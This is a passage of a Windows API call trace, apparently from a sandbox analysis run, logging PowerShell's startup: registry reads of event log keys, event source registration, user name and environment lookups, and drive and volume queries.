hKey=0x3a0, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3a8) returned 0x0 [0058.361] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.362] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3ac) returned 0x0 [0058.362] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.362] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3b0) returned 0x0 [0058.362] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.362] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3b4) returned 0x0 [0058.363] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.363] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3b8) returned 0x0 [0058.363] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.363] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3bc) returned 0x0 [0058.363] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.363] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3c0) returned 0x0 [0058.364] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3c4) returned 0x0 [0058.364] RegCloseKey (hKey=0x3c4) returned 0x0 [0058.364] RegCloseKey (hKey=0x3a0) returned 0x0 [0058.364] RegCloseKey (hKey=0x3c0) returned 0x0 [0058.365] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e470 | out: phkResult=0x25e470*=0x3c0) returned 0x0 [0058.365] RegQueryInfoKeyW (in: hKey=0x3c0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e4d8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4d4, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e4d8*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4d4*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x0, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x1, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x2, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x3, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x4, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x5, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x6, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x7, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.365] RegEnumKeyExW (in: hKey=0x3c0, dwIndex=0x8, lpName=0x391da8, lpcchName=0x25e4f4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x25e4f4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.366] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3a0) returned 0x0 [0058.366] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.366] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3c4) returned 0x0 [0058.366] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.366] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3c8) returned 0x0 [0058.366] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.366] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3cc) returned 0x0 [0058.366] RegOpenKeyExW (in: hKey=0x3cc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.367] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3d0) returned 0x0 [0058.367] RegOpenKeyExW (in: hKey=0x3d0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.367] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3d4) returned 0x0 [0058.367] RegOpenKeyExW (in: hKey=0x3d4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.367] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3d8) returned 0x0 [0058.367] RegOpenKeyExW (in: hKey=0x3d8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.367] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3dc) returned 0x0 [0058.367] RegOpenKeyExW (in: hKey=0x3dc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x0) returned 0x2 [0058.368] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3e0) returned 0x0 [0058.368] RegOpenKeyExW (in: hKey=0x3e0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4a0 | out: phkResult=0x25e4a0*=0x3e4) returned 0x0 [0058.368] RegCloseKey (hKey=0x3e4) returned 0x0 [0058.368] RegCloseKey (hKey=0x3c0) returned 0x0 [0058.368] RegCloseKey (hKey=0x3e0) returned 0x0 [0058.372] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4f20004 [0058.383] GetLastError () returned 0x0 [0058.384] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x350f53c*="WSMan", lpRawData=0x350f3e4) returned 1 [0058.390] GetLastError () returned 0x0 [0058.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.391] GetLastError () returned 0xcb [0058.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.391] GetLastError () returned 0xcb [0058.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.391] GetLastError () returned 0xcb [0058.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.391] GetLastError () returned 0xcb [0058.392] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.392] GetLastError () returned 0xcb [0058.392] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.392] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3513418*="Alias", lpRawData=0x35132d4) returned 1 [0058.393] GetLastError () returned 0x0 [0058.394] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.394] GetLastError () returned 0xcb [0058.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.394] GetLastError () returned 0xcb [0058.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.394] GetLastError () returned 0xcb [0058.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.394] GetLastError () returned 0xcb [0058.395] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.395] GetLastError () returned 0xcb [0058.395] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.395] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35173ac*="Environment", lpRawData=0x3517268) returned 1 [0058.396] GetLastError () returned 0x0 [0058.396] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.396] GetLastError () returned 0xcb [0058.397] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0058.397] GetLastError () returned 0xcb [0058.397] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0058.397] GetLastError () returned 0xcb [0058.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e144, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.398] GetLastError () returned 0xcb [0058.398] SetErrorMode (uMode=0x1) returned 0x1 [0058.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x25e5c4 | out: lpFileInformation=0x25e5c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.398] GetLastError () returned 0xcb [0058.398] SetErrorMode (uMode=0x1) returned 0x1 [0058.401] GetLogicalDrives () returned 0x4 [0058.401] GetLastError () returned 0xcb [0058.402] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x25e068, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.402] GetLastError () returned 0xcb [0058.403] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.403] GetLastError () returned 0xcb [0058.403] SetErrorMode (uMode=0x1) returned 0x1 [0058.405] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x391ea8, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x25e590, lpMaximumComponentLength=0x25e58c, lpFileSystemFlags=0x25e588, lpFileSystemNameBuffer=0x391da8, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x25e590*=0x9c354b42, lpMaximumComponentLength=0x25e58c*=0xff, lpFileSystemFlags=0x25e588*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0058.405] GetLastError () returned 0xcb [0058.405] SetErrorMode (uMode=0x1) returned 0x1 [0058.405] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.405] GetLastError () returned 0xcb [0058.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e0f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.406] GetLastError () returned 0xcb [0058.406] SetErrorMode (uMode=0x1) returned 0x1 [0058.406] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x35185e4 | out: lpFileInformation=0x35185e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.406] GetLastError () returned 0xcb [0058.406] SetErrorMode (uMode=0x1) returned 0x1 [0058.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e0f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.406] GetLastError () returned 0xcb [0058.406] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x25e07c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.406] GetLastError () returned 0xcb [0058.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.406] GetLastError () returned 0xcb [0058.407] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x25e038, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.407] GetLastError () returned 0xcb [0058.407] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.407] GetLastError () returned 0xcb [0058.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.408] GetLastError () returned 0xcb [0058.408] SetErrorMode (uMode=0x1) returned 0x1 [0058.408] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x351923c | out: lpFileInformation=0x351923c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.408] GetLastError () returned 0xcb [0058.408] SetErrorMode (uMode=0x1) returned 0x1 [0058.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e048, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.408] GetLastError () returned 0xcb [0058.408] SetErrorMode (uMode=0x1) returned 0x1 [0058.408] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x351938c | out: lpFileInformation=0x351938c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.408] GetLastError () returned 0xcb [0058.408] SetErrorMode (uMode=0x1) returned 0x1 [0058.409] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e08c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.409] GetLastError () returned 0xcb [0058.409] SetErrorMode (uMode=0x1) returned 0x1 [0058.409] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x351952c | out: lpFileInformation=0x351952c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.409] GetLastError () returned 0xcb [0058.409] SetErrorMode (uMode=0x1) returned 0x1 [0058.409] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.409] GetLastError () returned 0xcb [0058.409] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.410] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x351c2b4*="FileSystem", lpRawData=0x351c170) returned 1 [0058.410] GetLastError () returned 0x0 [0058.411] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.411] GetLastError () returned 0xcb [0058.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e030, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.412] GetLastError () returned 0xcb [0058.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.412] GetLastError () returned 0xcb [0058.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.412] GetLastError () returned 0xcb [0058.412] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.413] GetLastError () returned 0xcb [0058.413] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.413] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35203a4*="Function", lpRawData=0x3520260) returned 1 [0058.414] GetLastError () returned 0x0 [0058.416] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.416] GetLastError () returned 0xcb [0058.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e028, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.422] GetLastError () returned 0xcb [0058.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.422] GetLastError () returned 0xcb [0058.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.422] GetLastError () returned 0xcb [0058.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.422] GetLastError () returned 0xcb [0058.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e028, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.463] GetLastError () returned 0xcb [0058.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfd8, lpFilePart=0x0 | out: 